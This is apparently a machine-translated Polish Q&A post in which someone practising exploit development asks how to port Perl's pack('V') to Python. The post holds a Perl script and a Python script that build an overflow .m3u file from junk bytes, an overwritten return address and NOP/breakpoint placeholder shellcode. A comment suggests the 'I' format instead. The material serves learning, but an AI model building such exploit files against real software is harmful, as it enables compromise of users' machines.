Ostatnio pracowałem nad rozwojem exploita, aby przygotować się na kurs szkoleniowy. Wystąpił problem z samouczkiem. Śledziłam wszystkie tutoriale, które mogę znaleźć, używając Pythona w przeciwieństwie do języka, z którego korzystały samouczki, z nielicznych. Próbuję przekodować wszystko, ale nie mogę wymyślić, jak przekodować kod funkcji Pack() Perla.Funkcja pakietu Perla ("V") w języku Python?
TL; DR: Próbuję tłumaczyć to pyton:
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);
my $shellcode = "\x90" x 25;
$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25;
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";
Znalazłem struct.pack funkcji Pythona(), ale gdy używam
Fuzzed.write(struct.pack('V', 0x773D10A4))
, zatrzymuje program i nie działa. Co ja robię źle?
To jest mój cały kod źródłowy
import struct
Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)
Skąd wziął się "V" jako postać formatu? Jaki typ ma reprezentować? Użyj 'I' dla' unsigned int' (4 bajty). –